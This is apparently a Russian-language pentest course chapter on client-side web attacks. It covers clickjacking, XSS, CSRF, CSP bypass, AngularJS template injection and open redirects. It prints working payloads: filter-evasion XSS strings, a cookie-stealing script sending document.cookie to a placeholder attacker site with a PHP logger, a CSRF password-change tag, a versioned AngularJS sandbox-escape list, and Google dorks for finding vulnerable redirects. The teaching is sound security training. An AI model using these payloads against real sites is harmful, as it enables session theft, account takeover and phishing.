[WAPT]

6.21 Клиентские атаки

Clickjacking ................................................................................................................................. 1
Что такое XSS ............................................................................................................................. 5
DOM XSS ................................................................................................................................... 10
Bypass XSS filter ........................................................................................................................ 15
Какие возможности предоставляет XSS .................................................................................. 16
CSRF.......................................................................................................................................... 17
Bypass CSP ................................................................................................................................ 18
Client Side Template Injection ................................................................................................... 24
Внедрение шаблона на стороне клиента с AngularJS ............................................................. 25
Способы выхода из sandbox в версиях до 1.6.0 ...................................................................... 26
OpenRedirect ............................................................................................................................ 29

Clickjacking
Clickjacking – метод обмана пользователя. Злоумышленник делает
страницу сайта с невидимым слоем, который может занимать всю
страницу или какую-то часть. Например, находиться только над
определенной кнопкой сайта. После чего жертва заманивается на этот
сайт. При клике по области сайта, жертва технически кликает по
невидимому слою, чем вызывает срабатывание кода злоумышленника.

Метод часто используется для распространения рекламы. Наверное,

каждый из вас заходил на сайт с видео, картинками или софтом, и
нажимал на кнопку «Скачать». После чего сначала появлялась реклама,
а спустя время уже давался доступ к запрашиваемому контенту.
Распространение рекламы это самое безобидное, что может быть при
сlickjacking.

Метод позволяет красть конфиденциальную информацию, в том числе

cookies или пароли, а так же давать доступ к компьютеру. Есть еще один

1
сценарий – это похищение клика. В этом случае в прозрачном слое
будет находиться сайт, на который злоумышленник хочет послать клик
пользователя. Если пользователь будет на нем авторизован, то таким
образом на сайте, расположенном в прозрачном слое, будет
произведет клик от лица пользователя.

Рассмотрим на примере. Пусть есть сайт, предоставляющий доступ к

медиа файлам. Вот пример страницы, где можно посмотреть какой-то
ролик:

Ничего необычного казалось бы. Простой пользователь не раздумывая,

особенно если он часто заходил ранее на этот сайт, попытается
воспроизвести видео. В итоге получит:

2
Теперь посмотрим код страницы:

Обратите внимание на то, что помимо самого видео файла, на странице

есть еще кнопка <button>. В стилях она растянута на ширину окна
проигрывателя, выставлена прямо над ним и выставлена прозрачность

3
на максимум. Изменим прозрачность на 0.7 и чуть сместим кнопку, что
бы было наглядно:

Таким образом работает сlickjacking и с похищение клика, только вместо

кнопки будет окно ведущее на необходимый злоумышленнику сайт:

4
 Что такое XSS
XSS (Cross Site Scripting) или межсайтовый скриптинг осуществляется
посредством внедрения вредоносного кода со стороны клиента в
выдаваемую веб-страницу. После чего на компьютере всех, кто запросит
эту страницу, будет выполнен вредоносный код.

Наглядно можно посмотреть на схеме ниже:

Все XSS разделяют на две большие подгруппы: хранимые и отраженные.

Пример хранимой XSS представлен выше, т.е. это атака позволяющая

выполнять вредоносный код каждый раз при обращении к вредоносной
страницы сайта.

Отраженные XSS являются самыми распространенными и суть их

заключается в том, что они позволяют выполнить вредоносный код
используя скрипты сайта во время работы со страницей пользователем,
но при этом вредоносный код не будет сохранен для всех остальных
пользователей. Для эксплуатации необходимо формировать уязвимую
ссылку и передавать ее пользователю. Чаще всего это происходит через
Email.

5
Наглядно можно посмотреть на схеме ниже:

Рассмотрим простейшую реализацию этой атаки.

Пусть есть приложение, которое просто просит ввести какое-то

сообщение, а оно в свою очередь будет выведено на экран. Например,
ниже введем слово "welcome" и отправим на сервер. Результат на
скриншоте.

Далее проведет стандартную проверку на XSS уязвимость и попробуем

передать на сервер строчку вида:
"<script>alert('xss');</script>"

6
В результате:

Переданный тег script "врезался" в страницу сайта как родной и

выполнил указанный код, а именно вывод сообщения со строчкой " xss".

Изначально код выглядел так:

7
После проведенной атаки так:

Это был вид отраженной атаки XSS.

Далее рассмотрим пример хранимой атаки XSS. Как было описано

ранее, хранимая XSS внедряет вредоносный код в страницу сайта,
который исполняется каждый раз при обращении к этоq странице.
Значит, вредоносный код, каким-то образом должен сохранятся на
странице сайта. Для этого подходят сообщения, отправляемые на
форуме.

Допустим, есть сервис, эмулирующий сообщения форума. Выглядит так:

8
Если просто введем тестовые данные, то получим:

Далее снова стандартно проверим на XSS уязвимость:

9
В результате вредоносный код сохранится в сообщении "форума" и
будет выполняться каждый раз, когда кто-то запрашивает страницу с
этим сообщением.

DOM XSS
Тип атаки через DOM(Document Object Model) отличается от остальных
тем, что не основан на внедрении вредоносного кода как такового, а
осуществляет воздействие непосредственно на объект DOM страницы.
Теперь, благодаря этой атаке, уязвимыми могут быть не только
скриптовые страницы сайта, но и обычные, статические страницы html.
Потому что javascript может использоваться и там.

Существует 2 вида XML парсеров: SAX(Simple API for XML) и DOM. Они
отличаются друг от друга тем, что первый основан на генерации
событий для каждого элемента XML документа, а второй сначала
загружает весь документ, а потом работает с ним как с единым целым.
Т.к. html является подвидом XML, то все вышесказанное относится и к
нему. Как раз именно концепцию DOM и используют браузеры. Они

10
представляют полученную html страницу в виде древовидной
структуры, которую вы давно уже знаете.
HTML --
HEAD --
TITLE (Some Document)
BODY --
H1 (Welcome)
P (Some text for site)

Соответствует:
<html>
<head>
<title>Some Document</title>
</head>
<body>
<h1>Welcome</h1>
<p>Some text for site</p>
</body>
</html>

Сторонние API могут использовать ее как объект и воздействовать.

Например, в JavaScript этим объектом является document. А в коде ниже,
благодаря использованию объекта document на этапе построения
модели DOM, в html страницу допишутся новые данные.
<html>
<head>
<title>Some Document</title>
</head>
<body>
<h1>Welcome</h1>
<p>Some text for site</p>
<script>document.write('This is text from javascript')</script>
<p>End of page</p>
</body>
</html>

11
В итоге на странице будет выведено следующее:
Welcome
Some text for site
This is text from javascript
End of page

Благодаря этой и аналогичным функциям JavaScript'та есть возможность

воздействовать на страницу посредством XSS.

Функции, которые могут быть использованы для атаки следующие:

▪ document.wirte – уже описана выше;
▪ document.writeln – аналогична функции выше, только добавляется
знак перевода каретки;
▪ document.body.innerHTML – эта функция позволяет полностью
изменить содержимое элемента body;
▪ document.forms[0].action – воздействие на формы страницы;
▪ [document/window].attachEvent – метод обработки событий на
странице;
▪ document.createElement – добавление новых элементов на
страницу;
▪ document.execCommand – позволяет использовать функции
управления контентом;
▪ document.location – возвращает объект Location и используемые им
методы;
▪ document.URL – возвращает URL как строку;
▪ window.navigate – загрузка в текущее окно из источника;
▪ [document/window].open – открывает документ для записи;
▪ document.execScript – выполнение скрипта во время формирования
документа;
▪ document.[setTimeout/setInterval] – выполнение кода в
определенный промежуток времени;
▪ eval – выполняет код, переданный в виде строки.

Это основные функции, на которые стоит обращать внимание и которые

потенциально могут быть источниками DOM XSS.

12
Рассмотрим на простейшем примере:

Скрипт обрабатывает URL адрес, получает значение параметра cmd в

виде строки и помещает его в функцию eval. Для проверки уязвимости
отправим в виде строки функцию alert.

Как видим код отрабатывает отлично. Если необходимо вывести текст,

то придется вводить кавычки. Беда в том, что некоторые браузеры

13
переводят такие символы в код URL, из-за чего в функцию eval придет не
та строка, которая нам нужна. Обойти можно многими способами, один
из которых – это использование функции String.fromCharCode():

Если внимательно посмотреть на код, то можно найти еще один плюс

данной уязвимости. Есть возможность сделать так, чтобы сервер не
узнал о том, что проводится атака. Достаточно просто заменить символ
? на # и повторить запрос. Тогда никакие параметры не уйдут на сервер,
а код выполнится.

До:

14
После:

Bypass XSS filter

Самая популярная атака на веб-приложения, от которой разработчики
пытаются всячески защититься. Помимо основной защиты политик SOP,
CSP и подобных, разработчики фильтруют данные, полученные
пользовательским вводом. При этом методы выбираются такие же, как
и для других подобных разделов, описанных в предыдущих уроках.
Соответственно и методы обхода фильтров аналогичные.

Например, изменение регистра букв: <ScrIpT>alert('XSS');</ScrIpT>

Или изменение кодировок символов:

%3CScrIpT%3Ealert%28%27XSS%27%29%3B%3C%2FScrIpT%3E
<script>\u0061\u006C\u0065\u0072\u0074('XSS')</script>

Применение инъекции в атрибуте тега: <object onerror=alert('XSS')>

Манипулирование тегами, аналогично применению ковычки в SQL

инъекции: #”><img src=x onerror=prompt('XSS')>

Или просто подключить javascript файл с вашего сервера:

<script src="http://site/js.js"></script>

15
И так далее. Основной список с возможными нагрузками будет
предоставлен в отдельном файле.

Так же стоит почитать этот ресурс, где всё подробно все описано:
https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet

Какие возможности предоставляет XSS

Обычно на такой вопрос дают ответ: XSS может сделать все, что может
сделать JavaScript. Если говорить конкретнее, то возможно следующее:
▪ Похищение cookie (самое распространенное);
▪ Перехват ввода логина/пароля;
▪ Самое безобидное - дефейс("тут был hacker1337");
▪ Перехват управления;
▪ Просмотр веб-камеры пользователей;
▪ DDOS атака.

Эксплуатация компьютеров пользователей как "зомби".

Рассмотрим пример, каким образом можно красть cookie:

Для реализации необходимо иметь: сайт с уязвимой страницей,
принимающий сервер, где будут храниться похищенные cookie.

Допустим, имеет хранимая XSS уязвимость подобно той, что была

описана выше. Тогда достаточно внедрить следующий JavaScript код:
<script>
document.location='[evilSite]/catchCookie.php?cookie=' + document.cookie;
</script>

Таким образом, при запросе страницы с внедренным кодом,

пользовательские cookie файлы будут отправлены на заранее
подготовленный сайт злоумышленника [evilSite]/catchCookie.php в GET
запросе.

16
Сам скрипт на сервере злоумышленника может выглядеть следующим
образом:
<?php
$f = fopen('cookie.txt', 'a');
$cookie = $_GET['cookie'];
fwrite($f,$cookie . ' | ');
fclose($f);
?>

Т.е. просто открывает файл, где будут храниться cookie, и записывает

туда значение полученного параметра cookie.

CSRF

CSRF (Cross Site Request Forgery) или межсайтовая подделка

запроса. Суть заключается в том, что бы заманить пользователя на
вредоносный сайт, который выполнит от имени пользователя запрос на
другой, где этот пользователь авторизован.

Представим такую ситуацию. Пользователь зашел на форум

http://forum.com/login пообщаться. Ввел логин и пароль. Ему выдалась
сессия и куки. Далее злоумышленник присылает ему на форуме
сообщение «Здарова чувак! Что ты думаешь об этой статье? Он же твою
работу стырил! http://evilSite.com/threads/34/post#1». Сайт в ссылке
является вредоносным и содержит следующий тег:
<img
src=”http://forum.com/account/changes/password/?new=myNewPassword”>

Данная ссылка запрашивает изменение пароля у пользователя на тот,

что указан в параметре new. Так как у пользователя открыта на форуме
сессия и есть сохраненные куки, то злоумышленник меняет пароль
пользователя на свой.

Возможности этой атаки ограничены правами пользователя и самим

веб-сервисом, но помимо описанного выше случая благодаря CSRF
можно отправлять письма от лица пользователя, узнавать секретные

17
вопросы для восстановления пароля, добавлять новых пользователей
на сервис, если позволяют права. Так же полезно применять атаку
совместно с XSS атакой, описанной ранее.

Стоит отметить, что в реальности эту атаку довольно сложно

осуществить. Все дело в том, что обычно проверяется не только
авторизация пользователя в сервисе, но и данные передаваемые им.
Осуществляется это благодаря CSRF токенам.

Bypass CSP
Для начала надо разобраться, что такое CSP. CSP (Content Security
Policy) – это политика защиты контента. Она дополняет SOP и призвана
предотвращать атаки с внедрением кода, а именно XSS.

Принцип работы практически такой же, как и при выдаче прав

пользователю в БД SQL. Только в случае CSP указываются директивы, в
которых устанавливаются правила использования встроенных стилей,
правила оценки скриптов, ограничение загрузки со сторонних ресурсов,
ведется проверка по белому списку.

Список некоторых директив:

▪ default-src – используется, если какая-то из директив не указана;
▪ script-src – контроллирует набор привилегий для скрипт текущей
страницы. Другими словами, откуда можно подключать скрипты;
▪ object-src – контроль плагинов (Java, Flash, etc);
▪ style-src – аналогично как для script-src, только относится уже к
стилям;
▪ img-src – указывает, с каких ресурсов можно подгружать картинки;
▪ media-src – аналогично img-src, только для медиа контента (аудио
и видео);
▪ frame-src – контроллирует разрешенные источки для iframe на
странице;
▪ font-src – контроллирует источники шрифтов;
▪ connect-src – ограничевает возможные подключения со страницы.

18
Использование CSP выглядит так:
Content-Security-Policy: font-src ‘self’ http://mySiteFonts.com
frame-src ‘none’
connect-src ‘*.myStie.com’
script-src ‘self’

В заголовке прописывается «Content-Security-Policy», а потом

перечисляются директивы и источники через пробел.

Например, в примере выше используются 4 директивы:

1. Подключение шрифтов разрешено, только с самой страницы и
сайта http://mySiteFonts.com
2. iframe полностью запрещены
3. подключения разрешены только на поддомены сайта myStie.com
4. скрипты подключаются только со страницы.

Теперь, если злоумышленник попытается подгрузить вредоносный

скрипт со своего сервера, то получит ошибку вида:
Console error: "Refused to load the script 'http://evil.com/evil.js' because it
violates the following Content Security Policy directive: "script-src 'self' ."

Если говорить совсем по-простому, то CSP основано на белых списках.

Так как же возможно обходить эти ограничения?

1. Допустим CSP имеет следующие настройки:

Content-Security-Policy: script-src ‘self’ someValidSite.com anotherSite.ru;

Эта настройка говорит о том, что помимо своих скриптов на страницу

разрешено подгружать скрипты с доверенных источников:
someValidSite.com и anotherSite.ru

Если обнаружилась на одном из доверенных источников XSS

Например, отраженная:
http://anotherSite.ru/char/help.php?message=<script>alert(‘xss’);</script>

то достаточно использовать этот ресурс как прикрытие от CSP:

19
<img
src=”http://anotherSite.ru/char/help.php?message=<script>alert(‘xss’);</script>
”>

Если же есть возможность загрузки готового JavaScript кода на

доверенный ресурс, то задача становится еще проще:

<script src=”omeValidSite.com/uploads/file=evil.js”></script>

2. Если источники для скриптов ограничены только исходным

сервером:
Content-Security-Policy: script-src ‘self’ ;

Рассмотрим этот вариант на примере задачи из части «XSS», а именно

пример отраженной XSS. Добавим туда политику CSP и посмотрим,
пройдет ли стандартный XSS.

Как видим ничего не получилось. Но есть возможность обойти это

ограничение, используя iframe. Для этого необходимо, что бы в
документ было подключение каких-нибудь файлов от самого сервера.
Например, favicon.icon или css файлы.

Добавим к документу css файл, который просто будет менять цвет

фона.

20
Неважно, какие это файлы. Главное, что бы они были подключены от
сервера.

Теперь, используя JavaScript, добавим свое окно на страницу:

▪ iframe = document.createElement('iframe'); – создадим объект окна;
▪ iframe.src = 'test.css'; – содержимое окна будет подключаться из
файла атакуемой страницы;
▪ document.body.appendChild(iframe); – добавляем созданный объект
на страницу.

21
В итоге получаем свое окно, внутри страницы:

С этим окном мы можем делать все что угодно. Например, добавить на

него свой JavaScript:
▪ script = document.createElement('script'); – создаем новый объект;
▪ script.innerHTML = "alert('xss')"; – задаем его содержимое;
▪ window.frames[0].document.head.appendChild(script); – на странице, в
массиве окно, выбираем наше и добавляем в тег HEAD наш скрипт.

22
Как видим все отработало отлично.

3. Еще один способ связан с уязвимостью браузера Edge от

Microsoft:
CPS можно указывать как в HTTP заголовках, так и в метатегах самой
страницы.

Например:
<meta http-equiv=”Content-Security-Policy” content=”script-src ‘self’”>

Если отправить такой же тег, с такими же параметрами как параметр к

URL
http://example.com/index.html?<meta http-equiv=”Content-Security-Policy”
content=”script-src ‘self’”>

то фильтр Edge изменит тег на

<me#a http-equiv=”Content-Security-Policy” content=”script-src ‘self’”>

23
что в итоге «отключит» защиту CSP. Эта проблема исправлена в новых
версиях браузера.

Client Side Template Injection

В одном из предыдущих уроков мы изучили уязвимость SSTI. В этом
уроке мы рассмотрим похожую CSTI. В чем их отличие? Как мы знаем
SSTI – это инжектирование в шаблон приложения на стороне сервера.
СSTI – это тоже ижектирование в шаблон, но выполняется на стороне
клиента. При SSTI мы получали RCE, а при CSTI мы можем добиться
выполнение JavaScript кода, или проще говоря, провести XSS.

Опасность уязвимостей, связанных с внедрением шаблонов на стороне

клиента, зависит от природы уязвимого приложения. Зависит от типов
данных и функциональных возможностей, которые оно содержит, от
других приложений, принадлежащих к тому же домену и организации.
Если приложение используется только для отображения статического
контента без функций аутентификации или контроля доступа, то данную
уязвимость можно рассматривать как «низкий риск». Однако, если
приложение находится в домене, который может получить доступ к
файлам cookie для других приложений, более критичных для
безопасности, уязвимость может быть использована для атаки на эти
приложения. Такая уязвимость рассматривается как «высокий риск».

Точно так же обстоят дела, если вероятной целью фишинговых атак

является организация, которой принадлежит приложение. Уязвимость
может быть использована для придания правдоподобности таким
атакам путем внедрения троянских функций в уязвимое приложение.
Используя доверие пользователей к организации, легко собрать
учетные данные для других, принадлежащих ей приложений. Во многих
видах приложений, например в тех, которые предоставляют
функциональные возможности онлайн-банкинга, внедрение шаблонов
на стороне клиента всегда должно рассматриваться как высокий риск.

Клиентские каркасы шаблонов часто реализуют изолированную

программную среду (песочницу), предназначенную для
предотвращения прямого выполнения JavaScript кода из выражения

24
шаблона. Однако эти песочницы не предназначены для контроля
безопасности и обычно могут быть обойдены.

Фильтры межсайтовых скриптов в браузерах, как правило, не могут

обнаружить или предотвратить атаки с использованием шаблонов на
стороне клиента.

Внедрение шаблона на стороне клиента с AngularJS

Наиболее уязвимый фреймворк для Client Side Template Injection это

AngularJS. На YouTube есть исследование относительно этого
фреймворка, CSTI атаки, и выхода из песочницы. Последнее видео,
выход из песочницы AngularJS v.1.5.8 датировано октябрем 2016 года.

В сентябре 2016г. в версии AngularJS 1.6.0 песочница была удалена. Она

не влияла на безопасность приложения, но веб-разработчики
полагались на нее как на средство защиты. Был разработан сканер для
поиска уязвимостей csti в приложениях на AngularJS:
https://github.com/tijme/angularjs-csti-scanner

Потенциально опасные методы

Передача контента пользователю:
▪ $watch(userContent, ...)
▪ $watchGroup(userContent, ...)
▪ $watchCollection(userContent, ...)
▪ $eval(userContent)
▪ $evalAsync(userContent)
▪ $apply(userContent)
▪ $applyAsync(userContent)

25
Передача контента от пользователя:
▪ $compile(userContent)
▪ $parse(userContent)
▪ $interpolate(userContent)

Передача контента от пользователя через параметр orderBy:

▪ {{ value | orderBy : userContent }}

Способы выхода из sandbox в версиях до 1.6.0

1.0.1 – 1.1.5
{{constructor.constructor('alert(1)')()}}

1.2.0 – 1.2.1
{{a='constructor';b=
{};a.sub.call.call(b[a].getOwnPropertyDescriptor(b[a].getPrototypeOf(a.sub),a).v
alue,0,'alert(1)')()}}

1.2.2 - 1.2.5
{{'a'[{toString:[].join,length:1,0:'__proto__'}].charAt=''.valueOf;$eval("x='"+(y='if(
!window\\u002ex)alert(window\\u002ex=1)')+eval(y)+"'");}}

1.2.6 - 1.2.18
{{(_=''.sub).call.call({}[$='constructor'].getOwnPropertyDescriptor(_.__proto__,$
).value,0,'alert(1)')()}}

1.2.19 - 1.2.23
{{toString.constructor.prototype.toString=toString.constructor.prototype.call;["a
","alert(1)"].sort(toString.constructor);}}

1.2.24 – 1.2.29
{{'a'.constructor.prototype.charAt=''.valueOf;$eval("x='\"+(y='if(!window\\u002e
x)alert(window\\u002ex=1)')+eval(y)+\"'");}}

26
1.3.0
{{!ready && (ready = true) && (
!call
? $$watchers[0].get(toString.constructor.prototype)
: (a = apply) &&
(apply = constructor) &&
(valueOf = call) &&
(''+''.toString(
'F = Function.prototype;' +
'F.apply = F.a;' +
'delete F.a;' +
'delete F.valueOf;' +
'alert(1);'
))
);}}

1.3.1 – 1.3.2
{{
{}[{toString:[].join,length:1,0:'__proto__'}].assign=[].join;
'a'.constructor.prototype.charAt=''.valueOf;
$eval('x=alert(1)//');
}}

1.3.3 - 1.3.18
{{{}[{toString:[].join,length:1,0:'__proto__'}].assign=[].join;

'a'.constructor.prototype.charAt=[].join;
$eval('x=alert(1)//'); }}

1.3.19
{{
'a'[{toString:false,valueOf:[].join,length:1,0:'__proto__'}].charAt=[].join
$eval('x=alert(1)//');
}}

27
1.3.20
{{'a'.constructor.prototype.charAt=[].join;$eval('x=alert(1)');}}

1.4.0 – 1.4.9
{{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1)//');}}

1.5.0 – 1.5.8
{{x = {'y':''.constructor.prototype}; x['y'].charAt=[].join;$eval('x=alert(
1
)');}}

1.5.9 – 1.5.11
{{
c=''.sub.call;b=''.sub.bind;a=''.sub.apply;
c.$apply=$apply;c.$eval=b;op=$root.$$phase;
$root.$$phase=null;od=$root.$digest;$root.$digest=({}).toString;
C=c.$apply(c);$root.$$phase=op;$root.$digest=od;
B=C(b,c,b);$evalAsync("
astNode=pop();astNode.type='UnaryExpression';
astNode.operator='(window.X?void0:(window.X=true,alert(1)))+';
astNode.argument={type:'Identifier',name:'foo'};
");
m1=B($$asyncQueue.pop().expression,null,$root);
m2=B(C,null,m1);[].push.apply=m2;a=''.sub;
$eval('a(b.c)');[].push.apply=a;
}}

> = 1.6.0
{{constructor.constructor('alert(1)')()}}

Протестировать пэйлоады можно здесь –

http://liveoverflow.com/php/angularjs/angular.fix.php

28
 OpenRedirect
OpenRedirect - это когда веб-приложение принимает контролируемый
пользователем ввод, который указывает ссылку на внешний сайт, и
использует эту ссылку в Redirect. Это упрощает фишинговые атаки.
Параметр http содержит значение URL-адреса и приводит к тому, что
веб-приложение перенаправит запрос на указанный URL-адрес.
Изменив значение URL-адреса на вредоносный сайт, злоумышленник
может успешно запустить фишинговую аферу и украсть учетные данные
пользователя. Поскольку имя сервера в измененной ссылке совпадает с
исходным сайтом, попытки фишинга выглядят очень достоверно.

Пример уязвимой ссылки на веб-сайт выглядит примерно так:

https://www.example.com/login.html?RelayState=http%3A%2F%2Ffishing.com
%2Fnext

В этом примере параметр «RelayState» указывает, куда отправить

пользователя при успешном входе в систему (в нашем примере это
http://fishing.com/next). Если веб-сайт не проверяет значение параметра
«RelayState», чтобы убедиться, что целевая веб-страница является
безвредной, злоумышленник может изменить этот параметр, чтобы
отправить жертву на поддельную страницу.

Уязвимости Open Redirect обделены вниманием со стороны

разработчиков, поскольку такие атаки не наносят прямого ущерба веб-
сайту и не позволяют злоумышленнику напрямую украсть данные,
принадлежащие компании. Но с точки зрения атакующего Open Redirect
– это уязвимость и ее надо знать в лицо. Одним из основных способов
использования этой уязвимости является повышение вероятности и
эффективности фишинговых атак.

29
Когда в фишинговой атаке используется открытое перенаправление,
жертва получает электронное письмо с правдоподобной ссылкой на
правильный и ожидаемый домен. Жертва может не заметить
перенаправление на поддельный сайт, потому что в середине длинного
URL-адреса есть параметры, которые манипулируют и изменяют то, куда
их приведет ссылка. Чтобы сделать идентификацию Open Redirect еще
более сложной, перенаправление может быть выполнено после того,
как жертва сначала войдет в систему на целевом веб-сайте.
Эффективный способ обмануть жертву – перенаправить ее на
фальшивый веб-сайт после того, как он введет свои учетные данные на
допустимой странице. Поддельный веб-сайт будет выглядеть идентично
оригинальному веб-сайту, и он попросит жертву повторно ввести свой
пароль для проверки или предупреждения. После того, как жертва
повторно введет свой пароль, он будет логирован злоумышленником, и
жертва будет перенаправлена обратно на действующий веб-сайт. Если
все сделано правильно, жертва не заметит, что его учетные данные
были украдены.
Выполнение поиска в Google - один из лучших инструментов для поиска
уязвимости Open Redirect.

Следующие операторы и специальные символы позволяют создать

целенаправленный запрос в Google для поиска открытых
перенаправлений:
▪ allinurl - оператор, который сообщает Google, чтобы он выполнял
поиск по URL для всех предоставленных ключевых слов.
Пример: allinurl: ReturnUrl, ищет веб-страницы в которых «ReturnUrl»
является частью их URL.
▪ Site - оператор, который сообщает что нужно возвращать
результаты только для определенного домена.
Пример: site: example.com, ищет веб-страницы только из
example.com.
«» двойные кавычки – это специальные символы, которые используются для
обозначения поиска точной комбинации слов и символов;
* звездочка – подстановочный знак, представляющий одно или несколько слов.

30
Используя эти операторы, можно найти определенные признаки
потенциального открытого перенаправления.

Мы можем искать общее присутствие "http" или "https" в области

параметров запроса GET.

Например:
allinurl:% 3Dhttps *
allinurl:% 253Dhttps *
allinurl:% 3Dhttp *
allinurl:% 253Dhttp *

Также, можем искать общие слова, относящиеся к перенаправлению

(пересылке), в области параметров запроса GET.

Например:
allinurl: "RelayState=https"
allinurl: "ReturnUrl=http"
allinurl: “RedirectUri=https”
allinurl: “Return=http”
allinurl: “Return_url%3Dhttps”
allinurl: Redirect%3Dhttps*
allinurl: Redirect_uri%253Dhttps
allinurl: Redirect_url%253Dhttps*
allinurl: RedirectUrl%3Dhttp
allinurl: Forward%3Dhttp*
allinurl: ForwardUrl%253Dhttp
allinurl: Destination%253Dhttp*
Payload List

Используя эту простую технику поиска, можно найти десятки

уязвимостей Open Redirect за считанные минуты. Список уязвимых веб-
сайтов включает банковские сайты, сайты международных корпораций,
и многочисленные веб-сайты небольших организаций. Каждый раз,
когда веб-сканер Google сталкивается с новым веб-сайтом с открытым
перенаправлением, мы будем получать обновленные результаты по
нашим запросам.

31
Лучший способ избежать уязвимости Open Redirect - избегать
перенаправления на основе параметров, контролируемых
пользователями или предоставляемых методом GET. Если
перенаправление неизбежно, с ним можно справиться, проверив цель
перенаправления и очистив ее с помощью белого списка утвержденных
URL-адресов.

Сканнер OpenRedirect

https://github.com/ak1t4/open-redirect-scanner

Служба Поддержки

8 800 707 5466

с 8:00 до 20:00 по мск

school@codeby.net

32